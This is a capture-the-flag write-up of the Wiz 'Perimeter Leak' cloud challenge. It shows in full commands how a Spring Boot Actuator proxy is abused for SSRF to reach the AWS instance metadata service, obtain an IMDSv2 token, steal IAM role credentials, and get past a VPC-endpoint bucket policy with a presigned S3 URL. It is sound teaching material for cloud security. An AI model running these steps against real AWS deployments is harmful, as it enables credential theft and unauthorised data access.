Wiz Cloud Security Championship June 2025
Table of Contents
Introduction
Wiz have started a year long cloud security championship, where each month a new challenge is released. So far there have been two challenges, for June and July. They have been good fun so far, however I’ve been cautious putting out writeups because it’s still “active”. However, discussing with people from Wiz, they say a good time for it would be to release a months write-up after the following months challenge is out. So here we are.
Perimeter Leak
Starting off, we have a terminal and a couple of messages. Starting with the challenge description we have:
After weeks of exploits and privilege escalation you've gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.
It won't be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.
Good luck!
Within the terminal itself, the following message is preset:
You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
{"status":"UP"}
Well, we have a starting point - so let’s investigate that URL.
$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
Welcome to the proxy server.
Oooh interesting. A proxy server. We kinda need to know the endpoints though. Spring framework has a thing called actuators
which help with monitoring, etc of the application. Of course, I can’t remember of the top of my head what the endpoints are, however a quick Google finds me the documentation which helpfully lists the possible paths.
Testing a few of the paths, we eventually get a hit from /actuator/mappings
which according to the documentation returns Displays a collated list of all @RequestMapping paths
.
user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings
{"contexts":{"spring":{"mappings":{"dispatcherServlets":{"dispatcherServlet":[{"predicate":"{GET [/actuator/info], produces [..SNIP..]
Passing that through jq
, there are some interesting passages within.
{
"predicate": "{ [/proxy], params [url]}",
"handler": "challenge.Application#proxy(String)",
"details": {
"handlerMethod": {
"className": "challenge.Application",
"name": "proxy",
"descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [],
"params": [
{
"name": "url",
"negated": false
}
],
"patterns": [
"/proxy"
],
"produces": []
}
}
},
Great, we now the endpoint and the parameter needed. Let’s try it out.
user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://google.com
{"timestamp":"2025-08-11T00:28:38.471+00:00","status":400,"error":"Bad Request","message":"Expected value like 'url=https://checkip.amazonaws.com'. This proxy passes along headers and different request types. Error: 418 I_AM_A_TEAPOT \"This proxy can only be used to contact host names that match IP addresses or include amazonaws.com\"","path":"/proxy"}
user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254
HTTP error: 401 Unauthorized
Well.. it was worth a shot. Trying to reach IMDS is always valuable. However, this looks like its just IMDSv2.. I wonder if this proxy supports other HTTP methods like PUT so we can get the IMDSv2 token.
user@monthly-challenge:~$ curl -X PUT https://ctf:88sPVWyC2P3p@challenge
01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEAPBzn007V0kLCf7sEp7qi6mfupnqeEDg7pAn6Y2YDK0xksrYmw==
Perfect. Now to use it.
user@monthly-challenge:~$ export TOKEN=AQAEAPBzn007V0kLCf7sEp7qi6mfupnqe
EDg7pAn6Y2YDK0xksrYmw==
user@monthly-challenge:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data
ami-id
ami-launch-index
[..SNIP..]
user@monthly-challenge:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
challenge01-5592368
Nice, it has an IAM role assigned. So we should be able to gain the credentials for it.
user@monthly-challenge:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" htt
ps://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368
{
"AccessKeyId" : "ASIARK7LBOHXCPJJBGNU",
"SecretAccessKey" : "unSn4h+PZ0pBV+hWzAXyKnzBZi7TxWIA552dyiZF",
"Token" : "IQoJb3JpZ2luX2VjEKj///////[..SNIP..]",
[..SNIP..]
}
We can now add them in as environment variables and see what we can do with them.
user@monthly-challenge:~$ export AWS_ACCESS_KEY_ID=ASIARK7LBOHXCPJJBGNU
user@monthly-challenge:~$ export AWS_SECRET_ACCESS_KEY=unSn4h+PZ0pBV+hWzAXyKnzBZi7TxWIA552dyiZF
user@monthly-challenge:~$ export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEKj/////[..SNIP..]
user@monthly-challenge:~$ aws sts get-caller-identity
{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
So from the challenge description, it hinted at we wanted to find data from S3. Let’s list buckets and see if we can find anything.
user@monthly-challenge:~$ aws s3 ls
An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
Maybe not.
So clearly we don’t have the specific permission to list all buckets in the account. Maybe we have access to a specific bucket. One of the other actuator endpoints included printing environment variables. Maybe there is a clue in there?
user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5059 0 5059 0 0 37353 0 --:--:-- --:--:-- --:--:-- 37474
{
[..SNIP..]
"BUCKET": {
"value": "challenge01-470f711",
"origin": "System Environment Property \"BUCKET\""
},
[..SNIP..]
user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711
PRE private/
2025-06-18 17:15:24 29 hello.txt
Nice we have the bucket, let’s see what’s in hello.txt
before going into where I presume the flag is in private/
.
user@monthly-challenge:~$ aws s3 cp s3://challenge01-470f711/hello.txt -
Welcome to the proxy server.
Hmm.. that looks familiar xD Onto private/
.
user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/private/
2025-06-16 22:01:49 51 flag.txt
user@monthly-challenge:~$ aws s3 cp s3://challenge01-470f711/private/flag.txt -
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
Interesting. I wonder why that is, I’m guessing the data perimeter mentioned in the challenge description.
I wonder if that is implemented via bucket policy?
user@monthly-challenge:~$ aws s3api get-bucket-policy --bucket challenge01-470f711 | jq ".Policy" -r | jq
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::challenge01-470f711/private/*",
"Condition": {
"StringNotEquals": {
"aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
}
}
}
]
}
OK, so nothing in the private/
folder unless you go through that VPC endpoint. I’m guessing our web terminal isn’t on the correct VPC for that. I wonder if the proxy is?
We could try to do manual AWS SIgV4 for the curl request… or… AWS has a thing called pre-signed URLs. That feels like the good lazy option.
user@monthly-challenge:~$ aws s3 presign s3://challenge01-470f711/private/flag.txt
https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&[..SNIP..]
After URL encoding the resultant URL, we can add it as a parameter to the curl for the proxy.
user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz[..SNIP..]
The flag is: WIZ_CTF_Presigned_Urls_Are_Everywhere
There is the flag. That’s challenge 1 done :D